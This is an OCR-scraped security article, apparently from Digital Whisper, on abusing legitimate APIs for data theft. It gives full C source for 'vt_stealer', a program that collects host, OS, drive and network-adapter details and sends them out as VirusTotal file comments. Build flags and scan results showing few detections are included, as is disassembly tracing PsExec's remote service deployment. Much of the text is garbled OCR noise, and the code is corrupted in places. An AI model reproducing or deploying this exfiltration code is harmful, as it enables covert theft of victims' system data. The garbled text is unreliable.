YWebsec « 1 U X D#cord ARl ~ {xs¢is*x x 1 19177«

Scan Results

Scan ID: 5a@f36ac-8fc@-46e3-bcB7-1742eb964595

discord_stealer.exe [43.5 ks]

SCAN STATUS [IN PROGRESS]

i, SCANNED 39/39 i DETECTED 3

NOTIFY ME WHEN COMPLETE.

yourname@example.org Submit

Antivirus: Adaware Status: ) Clean
Antivirus: Alyac Status: ) Clean
Antivirus: Amiti Status: &) Clean
Antivirus: Arcabit Status: & Clean
Antivirus: Avast Status: ) Clean
Antivirus: Avg Status: & Clean

J Virus Total- Y- X2 44*" x4, 14 <" xx ST ~¥sf H | [HK

~ ~>

-{i(HX :o\: X

~
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?Virus Total Comments | | + 4 * I S

Virus Total

x

X X w X VirusTotal:'s " 4rs1 4 "HA4*7 L X Ad PlX w$ - *Vikws Total

X o do@ise 40 X X T x P fx i Ay X ] S XTI e, e S

> ~

XX gt Dow A SIS X L IR X e e X X H A x X

“w ~ v

X P 4RI f 4% XURL KSR K 1A G e VjrusTotalrdd 4 Lo~ H 4 TR
R R R FLCR I S T 5 R R I ARICIUNE b SRS I N B SN

N ~ ~ o~ .

e d o, _, ™xcomments, 1 , ¥ S 1S+4 « 17 4% SXTE$ 45 ¢

IR vr

v3.0 v @ Home 7 Guides <> API Reference

Files

Upload a file

a

Add a comment to a file

Get a URL for uploading large files
3 e @ https://www.virustotal.com/api/v3/files/{id}/comments

Get a file report

7]
o)

Request a file rescan (re-analyze) With this endpoint you can post a comment for a given file. The body for the

GetalfilesdownloadltIRE POST request must be the JSON representation of a comment object.

Download a file

a

Notice however that you don't need to provide an ID for the object, as they

Get comments on a file are automatically generated for new comments.

AoEmuEiEail Any word starting with # in your comment's text will be considered a tag,

Get objects related to a file and added to the comment's tag attribute.

Get object descriptors related to a

file Returns a Comment object.

Get a crowdsourced Sigma rule

object Example request

Get a crowdsourced YARA ruleset {
"data™: {
"type": "comment”,
"attributes™: {

"text": "Lorem #ipsum dolor sit ..."

Get votes on a file

Add a vote on a file

2

File Behaviours

}

URLs
¥

Comments }

ST A X LB X7 ] e ASX X % G X XX Y e d X7 HPBSE: | xS E K ]

1 I'VIT APl KB MO6* SHA256 SHALL _hashs 1 s Al 0> xw ADr 4 19 % 17 «
V@pus Total APt - _ Y L
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https://www.digitalwhisper.co.il/files/Zines/0x96/DW150-4-WinAPI-Hashing.pdf
https://docs.virustotal.com/reference/overview
https://docs.virustotal.com/reference/files-comments-post

- L s X T XXVTAPIKBY: * v (MrusfTatak ,, = 174X« » s F

3 P

APl KEY Elad ishayho ~ n
Profile

This is your personal key. Do not disclose it to anyone that you do not trust, do not embed it in scripts or softwarg

using your APl key, you are agreeing to our Terms of Service and Privacy Motice, and to the sharing of your Samy APl Key
we are not responsible for the contents of your submissions. Learn more
Settings
@ I—D Sign Qut

<stdio.h>
<stdlib.h>
<string.h>

<windows.h>
<winhttp.h>
<iphlpapi.h>

VT_API_KEY"REPLACE WITH YOUR API KEY"!
FILE_ID "REPLACE WITH YOUR FILE ID"

int sendToVT( char * comment) {
HINTERNET hSession = NULL;
HINTERNET hConnect = NULL;
HINTERNET hRequest = NULL;

hSession = WinHttpOpen( L"UserAgent” , WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROX
WINHTTP_NO_PROXY_BYPASS,
(hSession == NULI) {

fprintf  (stderr, "WinHttpOpen. Error: %d has occurred. \n", GetlLastError ());
1

hConnect = WinHttpConnect (hSession, L"www.virustotal.com” | INTERNET_DEFAULT_HTTPS_PORI);
(hConnect == NULI {
fprintf  (stderr, "WinHttpConnect. Error: %d has occurred. \n", GetLastError ());
WinHttpCloseHandle (hSession);
1

hRequest = WinHttpOpenRequest (hConnect, L"POST", L"/api/v3/files/" FILE_ID "/comments" , NULL
WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, WINHTTP_FLAG_SECURE);
(hRequest == NULI) {
fprintf  (stderr, "WinHttpOpenRequest. Error: %d has occurred. \n", GetlLastError ());
WinHttpCloseHandle (hConnect);
WinHttpCloseHandle (hSession);
1

char json_body[ 1024];
snprintf  (json_body, (ilson_body), "{\"data\":{ \"type\": \"comment", \"attributes \":
{\"text \": \"%s\"}}}" , comment);

~
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(! WinHttpSendRequest (hRequest, L"x-apikey:"  VT_API_KEY"\r\ nUser- Agent: vt

v.1.0 \r\ nAccept - Encoding: gzip, deflate \r\ nContent - Type: application/json" , -1, ( LPVOIDjson_body,
strlen (json_body), strlen (json_body), 0)){

fprintf  (stderr, "WinHttpSendRequest. Error %d has occurred. \n", GetlLastError ());

WinHttpCloseHandle (hRequest);

WinHttpCloseHandle (hConnect);

WinHttpCloseHandle (hSession);

i

BOOLhResponse = WinHttpReceiveResponse (hRequest, NULL;
('hResponse) {
fprintf  (stderr, "WinHttpReceiveResponse. Error %d has occurred. \n", GetLastError ());

DWORDBode = 0;
DWORDodeS = (code);
(WinHttpQueryHeaders (hRequest, WINHTTP_QUERY_STATUS_CODE | WINHTTP_QUERY_FLAG_NUMBER,
WINHTTP_HEADER_NAME_BY_INDEX, &code, &codeS, WINHTTP_NO_HEADER_INDEX)) {
(code == 200) {
printf  ("Comment posted successfully. \n");
}

}

{

DWORError =  GetlLastError ();

LPSTRbuffer = NULL;

FormatMessageAFORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM |
FORMAT_MESSAGE_IGNORE_INSERTS,

NULL, error, 0, ( LPSTR&buffer, 0, NULL;
printf  ("Unknown error: %3 n", buffer);
LocalFree (buffer);

printf  ("Failed to post comment. HTTP Status Code: %d n", code);

WinHttpCloseHandle (hConnect);
WinHttpCloseHandle (hRequest);
WinHttpCloseHandle (hSession);

printf  ("Successfully sent info via VT API :)
0;

main(int argc, char* argv[]){
char systeminfo[ 4096];

CHARhostName[MAX_COMPUTERNAME_LENGIH +
DWORBize = (hostName) / (hostName[ 0]);
GetComputerNameghostName, &size);

OSVERSIONINFO osVersion;
osVersion.dwOSVersionInfoSize = (OSVERSIONINFO);
GetVersionEx (&osVersion);

SYSTEM_INFO syslnfo;
GetSystemInfo (&syslInfo);

DWORD@rives =  GetLogicalDrives  ();

IP_ADAPTER_INFO adapterinfo[ 16];
DWORRdapterinfoSize = (adapterinfo);
(GetAdaptersinfo (adapterinfo, &adapterinfoSize) '= ERROR_SUCCESS) {
printf  ("GetAdaptersinfo failed. Error: %d has occurred. \n", GetlLastError ());
ik

Exploiting Legitimate APIs for Dtheft

www.DigitalWhisper.co.il
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snprintf  (systeminfo, (systemlnfo),
"Host Name: %s"
"OS Version:  %d %d %
"Processor Architecture:
"Number of Processors: %d "
"Logical Drives: %X"
hostName,
osVersion.dwMajorVersion, osVersion.dwMinorVersion, osVersion.dwBuildNumber,
sysInfo.wProcessorArchitecture,
sysInfo.dwNumberOfProcessors,
drives);

(PIP_ADAPTER_INFO adapter = adapterinfo; adapter != NULL adapter = adapter - >Next) {
snprintf  (systeminfo +  strlen (systeminfo), (systemInfo) - strlen (systeminfo),

"Adapter Name: %s "

"IP Address:

"Subnet Mask:

"MAC Address: %02X%02X%02X%02X%02X%02X,

adapter - >AdapterName,

adapter - >IpAddressList.IpAddress.String,

adapter - >IpAddressList.IpMask.String,

adapter - >Address[ 0], adapter - >Address[ 1], adapter - >Address[ 2],

adapter - >Address| 3], adapter - >Address[ 4], adapter - >Address[ 5]);

int result=  sendToVT(systemInfo);

(result== 0){
printf ("ok =A.A= \n");

{
printf  ("nok <3()~ \n");

0;

;(Z X X X8 § X k xs, x | G q % ”

_ AWindowst _APIE X { <, X7XXX

A o~

X)SLEE;)},_H‘ZX;\VXﬂ
®irus Total APits _ 4 ¥ *XFILE_IBVT_API_ KEY+~ 4 'y { % X L ¥ §

¥endToVT {1 {1 . « " X
@irusTotalr - ~ * 17 _ X1 1 % x X {x17 . §
dcomments: * x :POSF¥ x HTTR _ 5" 4] X 1 A
@SON x ¥ 4 x ¥. ~is* . Pgyload " | S
X oA nX L pxs ] oxsl T s X740 g

X . IS.s 1 sl ] xissTXp s * x % Lis & X x oy x> 49
. > v ~ >

N

P X s b A XX by g

Ynain: 44 .« 7 X

>

R RO Y DA R O S : SR N B S I X o o84 x A
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T8 S x L XX os 4

< v A~ ~ oA

QirusTotalr s * x ¥ 1 4: 8 x | sendTOVF 4 « «" < wmd " *x T {409

fX S T sy X s g X o LA

x86_64- w64 mingw32- g++ - O2 vt_stealer.c -0 Vt_stealer.exe - | lusr/share/mingw -
wb64/include/ -s -ffunction -sections -fdata -sections -Wnewrite -strings -fno - exceptions
-fmerge - all -constants - static -libstdc ++ -static -libgcc -fpermissive - liphlpapi -
Iwinhttp

Y 1 Mihdowst ~ « x "X Xic«8 4 1 7

C:\Windows\System32\cmd.exe

C Reanalyze = Similar~  More

9e0463ceeadb2800db7ba89b57h51680fdcabe060b3ace55b6a3eedcI8beclc2 Size 5 < Date

c_code.docx 15.04 KB 28 minutes ago DOCX

doox  calls-wmi

DETECTION DETAILS RELATIONS BEHAVIOR () COMMUNITY "1

Comments (1) ©

alon_sinil234
Host Name: DESKTOP-3C05VK9, OS Version: 6.2.9200, Processor Architecture: 9, Number of Processors: 1, Logical Drives: 200000C, Adapter Name: {B3E3EB39-C435-46AF-BA46-27C3AC1EICASY), IP Address:

192.168.7.22, Subnet Mask: 255.255.255.0, MAC Address: 00-0C-28-71-FC-B9Adapter Name: {A53D76EC-AB72-4F9A-A177-ECECIETBDF1F}, IP Address: 169.254.10.128, Subnet Mask: 255.255.0.0, MAC Address: 02-
00-4C-4F-4F-50

v X oS LTI A A YK X, L X X o WX XX TPl S 4T X L

~ v ~ W o~

:dep.port == 448, 1 1x4: x_« X Whreshark x . 4 XX s X x 1 |s

‘ *Ethernet - ) X

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

A m 5@ PERE Qe=2=E=F LS =EQQan

[ W [tep.port == 443 |+

MNo. Time Source Destination Protocol  Length Info
2928 25.320888 2302:2670:9500:586:.. 2a83:32¢0:32:12¢6:202¢c:572e:7a4.. TCP 1474 443 -+ 64897 [ACK] Seg=333
2921 25.3208888 2362:2610:9500:586:.. 2a03:32c0:32:1206:202c:572e:7a4.. TCP 1474 443 » 64897 [PSH, ACK] Se
2922 25.320888 2202:2670:9500:586:.. 2203:32c0:32:12c6:202c:572e:7a4.. TLSv1.2 1474 Application Data —
2923 25.326938 2383:32c8:32:12c6:2.. 2a02:26T0:0500:586: :57 TCP 74 64897 = 443 [ACK] Seq=716
2924 25.334326 2202:2670:9500:586:.. 2203:32c@:32:12c6:202c:572e:7a4.. TCP 1474 443 + 64897 [PSH, ACK] Se
2025 25.334364 2363:32c8:32:12c6:2.. 2a02:26F0:9500:586: :57 TCP 74 64897 =+ 443 [ACK] Seq=716
2926 25.334562 2a82:2679:9500:586:.. 2a03:32c0:32:12c6:202c:572e:7ad.. TLSvl.2 1474 Application Data
2927 25.334577 2863:32c8:32:12¢c6:2.. 2a02:26f0:9500:586::57 TCP 74 64897 + 443 [ACK] Seq=716
2928 25.337652 2a82:2610:9500:586:.. 2a83:32c0:32:12c6:202c:572e:7a4.. TCP 1474 443 » 64897 [PSH, ACK] Se
2929 25.337674 832 1322 2aB2:26f0:9500:586::57 TCP 74 64897 + 443 [ACK] Seq=718
2938 25.338388 3 92.168.1.124 TCP 6@ 443 = 64983 [ACK] Seqg=1 &

< >
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L X { KT x ‘F‘_fssix“\xlxx,,"xhz {(:’ZL]LXZ~V~-{>CVXVX I|_J-|~Xx1<"'|"‘_

~~ > ~ ~ A ~ oA

Yhétps://www.virustotal.com/qui/ip-address/74.125.34.48/irus Total

Z] o 71253446

C Reanalyze == Similar~ 3 Graph ¢ API

74.125.34.46 (74.125.0.0/18) s i sisD
AS 15169 (GOOGLE ) = 37 minutes ago

DETECTION DETAILS RELATIONS COMMUNITY 40+

Basic Properties

Network 74.125.0.0/18
Autonomous System Number 15169
Autonomous System Label GOOGLE
Regional Internet Registry ARIN
Country us
Continent NA

Last HTTPS Certificate ©

JARM Fingerprint
2943/d00029d29¢121c42d43d00041d188e 8965256b2536432a9bd4472e607F

Last HTTPS Certificate
Data:
version: V3
Serial Number: dcc5630f84f776eC58050h2e5150588
Thumbprint: 66a6e5f842d95F752ed1b15c7161c8F22c6744ab
Signature Algorithm
Issuer: C=US , O-DigiCert Inc , CN-DigiCert Global 62 TLS RSA SHA256 2020 CAL
validity
Not Before: 2023-12-19 80:00:00
Not_After: 2075-01-18 2 50
Subject: C=ES , L=Malaga , sTotal SL , CN=*.virustotal.com
Subject Public Key Info:

F o~ Virus Totalb X |« ¢« Xs8” x 4 ] « x IXX"Npus Total + 1 - ! _7Iss € "x 1 T ]«

iS(s 4t oS X X )YTE AL X I ¢ wX XS T K (XS

C Reanalyre =

717ac479324f962c63611b6a7071f650e9che2faee04f912bB8a93dadef8fdcs2

vt_stealerexe amoment ago

peexe  Gdbits

DETECTION DETAILS BEHAVIOR C COMMUNITY

Security vendors' analysis Do you want to automate checks?

Deeplnstinct Elastic
Google ikarus

SecureAge Acronis (Static ML) Undetected
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AAAAAA

Vipus Totak . 1TelegramDiscorck vl *_ v 4 _ APEx 7 % X0 wx i s (1

I>xx“" XPOXXX X" ] - s

~ ~ A TnoAn ~ ~ ~

L . .

~ ~

. X1 4 Wiresharki X . X T XDistorde - X 1XSI K ox " 1@ x sx " { ., X

X X X xy ! X: D SX-Re S SR D2 X¥bois: X S XD s XX X sl ]

v v

®irus Total

I I R B LA TR (et I SRS ST SR I R B S S I

J ! A

~ ~

dittps://github.com/eladyesh¥ 1 GitHulrt s 15 § « 9

& Writeupssz «+ H ~ |« .~ {1 ’x hHEps:/eladyesh.github.io¥ x & ¥ o 1

eladyesh24@gmail.com {1 4 4 % ¥ *.] 1 X x 7 * X

Ho o« D945 %L &p77ikaior « 1t Ay s s |0 yisif . .

sS4 ¥ X4

Y ox S8 L8 LR D I I b s i . X {sT p sy

~ v

https://core.telegram.org

https://discord.com/developers/docs/reference

https://www.wireshark.ora

https://websec.nl/en

1
1
1
1 https://www.virustotal.com/gui/home/upload
1
1

https://who.isk
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https://github.com/eladyesh
https://eladyesh.github.io/
mailto:eladyesh24@gmail.com
https://core.telegram.org/
https://discord.com/developers/docs/reference
https://www.wireshark.org/
https://www.virustotal.com/gui/home/upload
https://websec.nl/en
https://who.is/

L X ~ L

b S I . X B

AN

v Ais 4 4y T . Sesititernals - X 9% 1 Xp 44 sX T s 1] TS+« X Psexec
T xixoL XY s o Iséd o fod s 4y XX ¢ Windows: x L 0o x s .o

lateral movement « * " 4 0 1 Sk 40V XE A A A DD x ]l xiao s x

X OS84T s LB . WX 1L D X D] X X

P e X T g S foud XS % o I8 XX

~ ~

sH{Cw1xs51s " s @lientl PSEXE® © ~5 « 4 0. X w8 T, {1 ¥x 1425 .

~ ~ ~ oA

o3 dx {4k 4 s oBervert - ! X ] .87 PSExeG x| . op 4 XXT 17 o

YX'S X « X

>

Psexec.exe \\remote server executable/action

¥ ysx.l, ”

C:\Users\omer\Desktop\DW - psexec>whoami
jesktop-ufhf 2

C:\Users\omer\Desktop\DW - psexec>PsExec64.exe \\192.168.17.134
PsExec v2.43 - Execute processes remotely

Copyright (C) 2001-2023 Mark Russinovich

Sysinternals - www.sysinternals.com

Microsoft Windows [Version 10.0.17763.1935]

(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
jgewinl@\ieuser

1 XDt s MPH OMC Yy DT @MBSEXEC ~ 1 ¢ v 88T X TixXe oo JF] X ox

~ ~

Lo 5 Stax X4 xS iwHoamis | ox o of D s Teamds 4 o« 4L+ S

>

®ervernt

PsExec
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PsExem . 141" ¥ 451 (-1 5% s® {51, rsdu % H+ 17 % | PsExen
dox % x41 7 x xlp X SOMSDNE « x X ] X
2+ S s,
e R ST ST WO 0T X X g | X X ess X W ST L 10T XK X
K I T MR W B S ES N
SR LN P N B
Dol ~PEEXeE S« A4S ud «Siu P D ap¥es 41 X0 Xg ]
AP 4 v w7 x Fx Ly x sl I shs \Windows XP X ASS]i4s.i. s
YerifyVersioninfe _ *
- L 4
==
loc_4083D7: 5 IpMem
push edi
call sub_4139EA
add esp, 4
mowv [ebp+nSize], 18h
lea eax, [ebp+nSize]
push eax ; nSize
push offset word_4956A0 ; lpBuffer
call ds:GetComputeriNamel
call call VerifyVersionInfo ; check the os version
test eax, eax
jnz short loc_408431
11
N s I x sl 857 { <5 | s s, . SY x4 x
text:00007FF75F139A2E lea ecx, [rax+2] ; Ix
text:00007FF75F139A31 call __acrt_iob_func
text:00007FF75F139A36 mov rcx, rax ; Format
text:00007FF75F139A39 lea rdx, aPsexecRequires ; "PsExec requires Windows XP or higher.\n"...
text:00007FF75F139A40 call printf
text:00007FF75F139A45 mov eax, OFFFFFFFFh
text:00007FF75F139A4A jmp loc_7FF75F139DA2
PsEgc
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PsExert

> v ~ >

sk 4 X0 e d Yy o xxo 4] «s” T4 Eulat BulpAcceptedr | Valuer 1 d « S
G 1, XD T AN X ReYistryg 4 - 1 X DD X {1 ]X Osx xS
Eﬁ@ RAK AODLT ZU%
_text:00@07FF70EFALCDL xor eax, eax RBX 8000000000000001
.text:@0007FF7QEFALCD3 lea rdx, [rsp+268h+SubKey] ; lpSubKey RCX FFFFFFFF30000001
_text:00007FF70LFALCDS mov [rsp+268h+hKey], rax RDX ACAGBCF210
-text:@00807FF7@EFALCDD mov rod, 181h ; {[rsp+268h+SubKey]=[Stack[888@15AC] : aScoffttuwaarre]
.text:@0007FF70EFALCE3 mov dword ptr [rsp+268laScoffttwwaarre db 'S‘,@,'c',0,'f",0,'t",8,'w',0,'a",0,'r"',0,"'",0,'\",0,'S",0,"y",0,"'s"
-text:00007FF70EFA1CET xor r8d, r8d ; db 0,'i',8,'n",0,'t',0,"¢"',0,'r",0,'n",0,'a",0,'1',0,"'s"',0,"'\',0,"'P",0
-text:00007FF70EFALCEA lea rax, [rsp+268h+hKe db 's’,@,'E",0,'x",0,'e",0,'c"
.text:00007FF70EFALCEF mov rcx, OFFFFFFFF80000001h ; hKey T T
_text:0@807FF7OEFALCF6 mov [rsp+268h+phkResult], rax ; phkResult RIP ©0@07FF/OEFALCFB
.text:@@@07FF7OEFALCFB call cs:RegOpenKeyExid R 00e000e000000000
.text:00007FF70EFA1DO] test eax, eax RO 0000600000161
.text:00007FF70EFALDO3 jnz short loc_7FF7@EFA1DG61 <
&8 Modules
ol s = Path
. text:@0807FF7OEFALDAS mov rcx, [rsp+268h+hKey] ; hKey 57 c:\Users\omen\Deskiop\p
.text:000B7FF7OEFAIDOA lea rax, [rsp+268h+cbData] 1 C\Windows\WinsxS\amdd
.text:00007FF7OEFALDOF mov [rsp+268h+1lpcbData], rax ; lpcbData 5 C:\Windows\SYSTEM32\M
-text:00007FF70EFALD14 lea rdx, ValueName ; "EulaAccepted” <
_text:00007FF7OEFALDLB lea rax, [rsp+268h+Data]
1. X4 oxx 4 «sm L, 4] 0 s s Svm s X OEulaAcceptert Datat s ! 4 X
TY XXISXfOX 4sx P 4 X T w oo SXS g XXy oY LS
> a A ~ ~ v ~ v ~ > A ~ v ~
lled = RAX 2090000000000001 A \If?P s ~
text :00007FF70EFA2766 [TTICLETEEEETEe st N G
. text:000A7FF7OEFA2766 loc_7FF70EFA2766: ; phkResult RCXFFFFFFFFBO00008T L e @
.text:00007FF70EFA2766 lea r8, [rsp+4C8h+var_476] RDX 0000007747D6F9A0 & Stack[PBB624A8] :( W e
.text:00007FF70EFA276B mov rcx, OFFFFFFFF30000@0lh ; hKey RST 0000000000000000 VIR o
.text:00007FF70EFA2772 lea rdx, [rbp+3C@h+SubKey] ; lpSubKey < > N8 Y
.text:00007FF70EFA2779 call c5:RegCreatekeyk
_text:00007FF7OEFA277F test eax, eax [rbp+3C@h+SubKey]=[Stack[000024A8] :aScof fttwwaarre ]
.text:00007FF7OEFA2781 jnz short loc_7FF70EFA27BB@S00ffttwwaarre db 's',08,"0",0,"'f",0,'t",0,"'w",0,"a",0,'r",0,'e",0,"\",0,'5",0,'y",0,"s"
db @,'i',8,'n"',0,'t",0,'¢",0,'r",06,'n",0,'a",0,'1",0,'s"',0,"\",8,'P",0
‘ db 's',8,'E',0,'x",0,'e",0,"'c’
FiFE Ch S e
_text:@0007FF7@EFA2782 mov  rox, [rsp+ACBh+var 470] ; hKey o e L N
.text:00OO7FF7OEFA2788 lea rax, [rsp+4CBh+var_490]
.text:@P@@7FF7OEFA278D mov dword ptr [rsp+4C@h+lpcbData], 4 ; cbData
.text:@@@O7FF7OEFA2795 lea rdx, ValueMame ; "EulaAccepted"” [@] Threads o 8 x
. text:@PBB7FF7OEFA279C mov rod, 4 ; duType )
_text:@BOBTFF7OEFA27A2 mov [rsp+4Coh+lpData], rax ; lpData Dedmal |Hex | State Name
.text:00007FF70EFA27A7 xor réd, réd ; Reserved il 9384 24A8  Ready PsExec64.exe
.text:00007FF70EFA27AA call ¢s:RegSetValueExl | 19184 4AF0  Ready 7FF87E1BD110
. text:00007FF7AEFA27BA mov rex, [rsp+ACBh+var_470] ; hKey S| 3244 CAC  Ready 7FF87E1BD110
X U H ST Y ST enst 9 4 s dRegistryt 4 o SSI syl SS T xS . xS
P x H o~ sT L. RS . R XpXimd o~ kS . X X

Registryt s « 5] | x

ﬁ Registry Editor - O bt
File Edit View Favorites Help
Compute\HKEY_CURRENT_USER\SOFTWARE\Sysinternals\PsExec
‘:’ Sysinternals ~ || Name Type Data
AccessChk ab) (Default) REG_SZ (value not set)
Hex2Dec %4 EulaAccepted REG_DWORD 0x00000001 (1)
LoadOrder
Process Explorer
PsExec
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PsExec License Agreement X

You can also use the /accepteula commanddine switch to accept the EULA.

SYSINTERNALS SOFTWARE LICENSE TERMS

These license terms are an agreement between Sysinternals (a wholly
owned subsidiary of Microsoft Corporation) and you. Please read them.
They apply to the software you are downloading from Sysinternals.com,
which includes the media on which you received it, if any. The terms also
apply to any Sysinternals

updates,

supplements,

Internet-based services, and v

Prnt m Deciine l

Servicert | X L 11

T4 xSy . Fervicat (Servers )l x ] Service” 1 «PsExecy L { xs 7 { s

X L ABIXAos XX | SPrvicat @lientt S~ S11L | is. X Isxxl xioo LSSl s

T x4 4% BINRES ¢ s . Q%% FS L X 1% T WS LK L XXX s

~ v ~ ~~ > A <~ v a v o~ v

@ockResouraeSizeOfResourcebadResourcdldResource Yx 4 « « * x s X

Tt _ADMINPIR X & K 18« 0 o8 o X x 0 d © o osx {1 87 ox TIx T 47
Resourc& . | * +, ~"OPWindowd Systen32 *Y{ -."*ul x = x {**ADMINoI® _ * - Sérver
T~ X X X]sPsexesvc.exe _ S .« .~ s* X XBINRES « _ s~ | xi:«$ x <. | Matker

¥ * x IService

.text:00007FF7503B4744 lea r8, Type ; "BINRES"
.text:00007FF7503B474B mov rdx, ri2 ; lpName
.text:00007FF7503BA74E xor ecx, ecx ; hModule
.text:@0007FF7503B4750 call cs:FindResourcell
.text:00007FF7503B4756 mov rsi, rax
.text:00007FF7503B4759 test rax, rax
.text:00007FF7503B475C jz loc_7FF7503BA7EA
¥

Iz

.text:00007FF7503B4762 mov rdx, rax ; hResInfo

.text:00007FF7503B4765 xor ecx, ecx ; hModule

.text:00007FF7503B4767 call cs:LoadResource

.text:00007FF7503B476D mov rdx, rsi ; hResInfo

.text:00007FF7503B4770 xor ecx, ecx ; hModule

.text:00007FF7503B4772 mov rbx, rax

.text:00007FF7503B4775 call cs:SizeofResource

.text:00007FF7503B477B mov rcx, rbx ; hResData

.text:00007FF7503B477E mov esi, eax

.text:00007FF7503B4780 call cs:LockResource

.text:00007FF7503B4786 lea rdx, ahb ; "wb"

.text:00007FF7503B478D mov rl14, rax ; PSEXESVC.exe raw file

.text:00007FF7503B4790 lea rcx, [rsp+6E8h+var 678] ; remote path: \\IP\ADMIN$\PSEXESVC.exe

.text:00007FF7503B4795 call fwrite

towt - AOAATECTCAIDATON mewsr e [aE-1v
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YResurceHackert x

BH resource Hacker - PsExec64.exe - O X
File Edit View Action Help BINRES : PSEXESVC: 1033
D) o= 4 e 0 0 |Q LR >8]
=) 4 W) Mers- -
w ]|, BINRES 0008D0OBO (4D 52 90 00 03 00 00 00 04 00 00 00 FF FF 00 00 A |MZ
‘ i PSEXESVC : 1033 || 00080050 [B8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 [
. String Table 0008DORAO (00 OO 00 00 0D 0O 00 00 00 00 00 00 00 00 00 00
- fo 0008DOBO (00 00 00 00 00 0O 00 00 00 00 00 00 18 01 00 00
 Version In 0008D0OCO |0E 1F BA OE 00 B4 0% CD 21 BB 01 4C CD 21 54 &8 ! L ITh
; Manifest 000BDODO (6% 73 20 70 72 &F &7 72 €1 €D 20 &3 €1 EE EE &F is program canno
000BDOED |74 20 62 65 20 72 75 €E 20 €5 6E 20 44 4F 53 20 t be run in DOS
0008DOFD (6D 6F €4 65 2E 0D OD OR 24 00 00 00 00 00 00 00 mode.  §
0008D100 (C5 74 37 D4 81 15 5% 87 81 15 59 87 81 15 59 &7 t7 Y Y ¥
0008D110 [CA €D 5& 86 84 15 5% 87 CA €D 5C BE 1F 15 59 &7 mz ¥ m\ ¥
0008D120 |C& €D 5D 86 8B 15 5% 87 CE €9 5C 86 AD 15 59 &7 m] ¥ i\ ¥
0008D130 |CE €9 5D 86 90 15 5% 87 CE €9 52 86 88 15 59 &7 i] Y iz ¥
0008D140 [CA €D 58 86 96 15 5% 87 81 15 58 87 77 15 59 &7 m{ ¥ Xw¥
0008D150 (46 €9 SC 86 82 15 59 B7 46 €9 5D BE BE 15 59 &7 Fi\ ¥ Fi] ¥
0008D160 |46 €9 26 87 80 15 5% 87 81 15 CE 87 80 15 55 &7 Fi ¥ Y
0008D170 (46 €9 5B 86 80 15 59 87 52 €9 63 68 B1 15 59 87 Fi[ Y Rich Y
0008D180 (00 00 00 00 00 0O 00 00 00 00 00 00 QO 00 00 00
0008D190 (00 00 00 00 0D 0O 00 00 50 45 00 00 €4 86 07 00 PE d
0008D1&0 (62 2B 2F 64 00 00 00 00 00 00 00 00 FO 00 22 00 b+/d =
0008D1BO (0B 02 OE 22 00 14 02 00 00 86 03 00 00 00 00 00 =
0008D1CO [BC 76 00 00 0O 10 00 00 00 00 00 40 01 00 00 0O v @
0008D1D0 (00 10 00 00 00 02 00 00 06 00 00 00 0O 00 00 00
0008D1ED (06 00 00 00 00 0O 00 00 00 FO 05 00 00 04 00 00
0008D1FD (DB 5B 04 00 03 00 &0 81 00 00 10 00 0O 00 00 00 [ N
0008D200 (00 10 00 00 00 00 00 00 00 00 10 00 Q0 00 00 00
0008D210 (00 10 00 00 00 0O 00 00 00 00 00 00 10 00 00 00
0008D220 (00 00 00 00 0O 0O 00 00 84 52 03 00 78 00 00 00 R x
0008D230 (00 DD 05 00 FB 05 00 00 00 &0 05 00 84 1B 00 00
0008D240 (00 82 032 00 S0 27 00 00 00 EO 05 00 24 07 00 00 0 $
0008D250 (30 2B 03 00 54 00 00 00 00 00 00 00 00 00 00 0O ¥ |0+ T
Binary View
138190 / 8D0O80 1:1 Selection - Offset: 0 Length: 0

Servicert - L SSTXG s

N >

¥ o x4 . Servical | X Xiwe$ 41 ¥ 83X % sy 1 Sedvicat L _ X w81~

.text:00084466 loc_84466: ; dwDesiredAccess
.text:000884466 push OF@B3Fh

.text:0008446B push (5] ; lpDatabaseName
.text:00088446D push esi ; 1pMachineName
.text:0008446E call ds :0OpenSCManagerhl

1~ v mervicet L ¥ £ 41"+ ~ 3CManaget Sdrvernt . SCManaget . s 14 - | « *
« 1 xs,b 1 Service 4« 8y ~ ] 8O x{lServices 1 | kSILl T ¢

v

s® SCManagers _ #v 1.7

tn
{
C
—

X URPG X L a X < ks, . OpenSCManagerW 4 . < T X s X Xsh {ys

a ~ ~ » ~

SGManaget - «1 X " p A XX L st L s o s X

PsExec
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Y X { ss s I yisus « ] s X
. text:00084495 push 5]
. text:00084497 push 5] 5 1pServiceStartName
. text:00084499 push 5] ; lpDependencies
. text:0008449B push 5] 5 lpdwTagId
. text:8008449D push 5] 5 lplLoadOrderGroup
. text:0008449F lea ecx, [ebp+BinaryPathName] ; %SystemRoot®\PSEXESVC.exe
. text:@00844A5 push ecx 5 1lpBinaryPathName
. text:@00844A6 push 5] ; dwErrorControl
. text:@00844A8 push SERVICE DEMAND START ; dwStartType
. text:@800844AA push eax 3 dwServiceType
L text: 00084448 push OF@1FFh ; dwDesiredAccess
. text:000844B0 push [ebp+1pDisplayName] ; lpDisplayMame
. text:000844B6 push [ebp+1pServiceName] ; 1pServicelame
. text:000844BC push edi ; hSCManager to our server
. text:000844BD call ds:CreateServiceld

" Tkl Serverm X 7, % 7 sox I TPSEXESVC.exe s x L, 4 XS {1 TIsx LT 4T X X

~ ~

L41% x.{.9s" x SERVICE_ DEMEND_STARTS " ( X . } | v xStartType
P X X

140 s HsL T | x StrtServiceW 4 « « T x s o XX ]Lex 408 T 0 LT

» ~

@6, $* 1 .5HH . x T s GRP@ , . * Servicet 1 " < i S

~

Named Pipes ~ 1 « 1

Pl LS X e s v LS N N YA

~ ~ ~ >

Named Pipg s * 4% o « 4L % <L« XX 11 40 5% (@ {2 4% 5% "px4* 1 X

~ ~ A ~ ~ ~

r _ Named Pipg _ ' ¥ A4 4L s1:4 33 ¥y x @OX «5 « 4% s> 4X |1 01 1.

> > v

x tNamed Pipes

TEr YXd xx.*, |0 spipeft X x ¢ JIs 4l s ox o, IB441 L &Computerlpipe\MyPipe
®amed Pipes . | xServem Clientt = + % x _ PsEgec

Namedm s * 4 8 J ¥ s 4 ¢ « % (7, xxoisxaoxX4Il {2 I mpipem s Avihdowst
